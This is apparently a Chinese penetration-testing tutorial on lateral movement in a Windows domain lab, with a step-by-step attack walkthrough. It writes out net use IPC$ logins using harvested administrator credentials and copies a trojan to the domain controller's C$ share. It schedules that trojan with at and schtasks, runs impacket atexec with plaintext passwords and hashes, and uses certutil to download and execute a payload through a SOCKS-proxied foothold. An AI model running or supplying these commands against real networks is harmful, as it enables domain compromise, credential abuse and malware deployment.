利用 IPC 远程登录打开 445 文件共享然后拷贝木马到指定目录,然后运行计划任务执行上线

存在 Py 套件和 exe 简化了手工过程,不能直接将工具上传到受害机器风险很大,还是老方法建立代理

使攻击机机和域内机器在同一网段,这样在本地就可以运行套件去攻击

环境

已知拿下了 Webserver 服务器的权限,内网其余主机均是没有网络的,不是被防火墙所限制而是完全没有网络,通过已拿下的主机进行横向移动

# 域信息收集

CS 上线后对域内进行信息收集 — 目标 — 用户 — 凭证 — 网络

某些收集命令无法运行是由于我们的权限不足,那么我们需要提权,通过 CS 安装的插件一键提权, System 最高权限,有了权限再运行命令得到凭证

# 判断域内信息

1
2
3
4
5
6
7
8
net time/domain  // 首先通过命令判断是否处于域环境下正常会回显域控地址
saber.org

ping saber.org // 信息收集得到域控IP地址
192.168.3.21 // 域控地址

..... // 一系列手工收集命令

# 内网主机探测

主机网络探测对同一网段的其他主机进行端口扫描,并检测是否为存活主机,是的话则可能是域内成员主机

3.31 为已经获取权限的主机地址, 3.21 域控主机其余是内网环境下的其他主机,判断网络出网方式,获取权限的 3.31 , 但是木马信息上还是我们的地址,所以判断要么是不出网 or 限制出网协议某些协议能出去

# 密码凭证抓取

3.31 抓取密码凭证,后期的移动渗透都是依赖它的,抓取有时候并不是明文或者 Hash , 读不到的情况对面可能是做了防护打了补丁,得到密码信息后就开始利用信息做横向移动

# IPC 远程登录正向连接

使用 IPC 远程登录计算机 445 139 端口以进行文件共享,但是域控不出网络,攻击机不能和 3.31 一样直接传木马连接,必须将木马传递至受控主机,通过该主机的通信先远程登录域控,再 copy 木马到目录下执行计划任务上线

IPC 是文件共享协议所造成的安全问题

1
2
3
4
5
6
// at命令是添加计划任务命令

at命令支持 < win2012之前


schtasks >= win2012

# 利用条件

1
2
3
1、目标机开启了139445端口;
2、目标主机管理员开启了ipc$默认共享;
3、知道目标机的账户密码。

# 0X01 生成正向连接木马上传

通过正向连接,目标不出网我们主动连接,生成正向连接绑定本地端口的木马,

# 0X02 横向移动远程登录域控

命令 + 密码横向移动 3.21 域控地址密码是由受控主机抓取而来

  • 命令含义

命令是 Windows 操作系统中的一个命令,用于在本地计算机上建立到远程计算机的网络连接
并访问远程计算机的共享资源, IP 地址

1
2
3
4
5
6
net use \\ 192.168.3.21 \ipc$ " Admin12345 " /user.god.org\ administrator 

192.168.3.21 地址

administrator 用户
Admin12345 密码

# 0X03 拷贝木马文件至域控

3.31 远程和域控通信后使用命令复制木马

1
copy 4444.exe \\192.168.3.21 \c$  // 拷贝木马文件到目标机器目录c盘下

凭证正常连接的域控 C 盘下会拷贝出正向木马文件

# 0X04 计划任务定时上线

通过命令添加计划任何使木马文件规定什么时间执行,但是要区分好操作系统版本不知道对方主机版本的前提下 at 命令和 schtasks 均尝试

1
2
3
4
5
6
7
8
9
10
11
12
13
win2012系统前命令

at \\192.168.3.21 20:50 c:\4444.exe // 晚上8点50分执行文件 计划任务

------------------------------------------------------------------

win2012系统后命令

schtasks /create /s 192.168.3.21 /ru "SYSTEM" /tn
saber /sc DAILY /tr c:\add.bat /F // 创建 saber 任务

schtasks /run /s 192.168.3.21 /tn saber/i // 运行 adduser 任务
schtasks /delete /s 192.168.3.21 /tn saber/f // 删除 adduser 任务

到规定时间执行文件后, CS 执行正向连接命令主动正向连接 3.21

1
connect 192.168.3.21 4444  // 4444为绑定的本地端口号

# 代理转发 反向连接

右键受控主机 3.31 转发上线会出现监听器模块,此监听器给到的木马流量会转发到攻击机,配置转发监听器木马的 Payload 选择为它就可以了,会生成反向连接木马

木马通过上方的手段拷贝至 3.21 C 盘下,执行后反向连接流量转发上线,流量会从 3.31 地址转发到攻击机

# 套件

# atexec.py-impacket

IPC 套件版 Impacketc, 可以直接和指定主机进行 IPC 连接,该工具是一个半交互的,适用于 Webshell11 下 Socks 代理下;渗透中收集用户名 明文密码 hash 远程主机作为字典批量测试

我们学习到的横向移动方式都可以通过脚本去代替,减少输入的命令,但是实战中 Py 文件如何去执行也是很困难的事情有诸多因素影响

  • 文件打包过大上传告警 / 中等上传
  • 网络问题
  • 缺少环境

# 0X01 CS socks 代理节点转发

建立节点享用网络在攻击机中执行攻击, 3.* 网段流量流量转发至攻击机利用 3.31 转发流量

1
2
CS—>代理转发—>socks代理 将流量代理到攻击机中,攻击机直接攻击无须上传木马工具

打开代理软件设置端口和代理目标服务器为我们攻击机地址

建立代理规则,目标主机走 3 网段的通通走这个规则

攻击机机可以访问 3.31 地址等于在同一网段了,模拟我们是域内的机器在本地使用 Py 文件即可

# 0X02 运行 Py 文件远程登录

运行 Py 文件执行远程登录输出命令类似与碰撞,但是主机多密码多的情况怎么处理呢,编写脚本批量去碰撞

地址和密码

1
2
3
4
// 远程登录执行 whoami命令

python.exe atexec.py god/admininstrator:Admin12345@192.168.8.32 “whoami”

自行写 Py 文件去匹配横向,向包含在数组里的 IP 执行远程登录并下载木马的操作,并执行上线

执行木马上线后上线主机继续抓取密码凭证再次进行横向移动,用账户秘密信对域内其他成员主机继续横向

# atexec.exe 正向上线

上传 atexec.exe3.31 主机桌面下运行文件输入明文账户密码连接

1
2
3
4
5
6
7
8
9
10
11
12

Desktop>atexec.exe ./admininstrator:Admin12345@192.168.3.21 "whoami"

注意:

这里./后面代表连接的用户为本地用户,如果连接域的用户前面需要加上god,前期搜集用户名作用出现了


Desktop>atexec.exe god/admininstrator:Admin12345@192.168.3.21 "whoami"



# hash 连接

支持密文 hash 密码进行连接

1
atexec.exe -hashes :ccefxxxxxx god/admininstrator@192.168.3.21 "whoami"

通过 exe 文件可以远程连接从而执行命令,上方的命令只是简单的 whoami 我们需要在 3.21 主机执行远程下载木马命令达到正向连接上线目的,不出网络只能正向连接

菱角社区生成文件下载命令拿到 cmd 执行

1
2
3
4
Desktop>atexec.exe god/admininstrator:Admin12345@192.168.3.21 
"certutil.exe -urlcache -split -f http://192.168.3.31:80/4444.exe zx.exe"

// 执行远程下载文件命令下载 3.31地址80端口下的4444.exe文件 并命名为zx.exe

成功下载

回到 3.31 地址 远程执行命令运行上传的 zx.exe 木马

1
Desktop>atexec.exe god/admininstrator:Admin12345@192.168.3.32 "zx.exe" 

CS 运行命令正向连接木马

1
connect 192.168.3.32 4444

# CS 插件正向上线

CS 插件输入对应的域名地址和凭证进行连接

更新于 阅读次数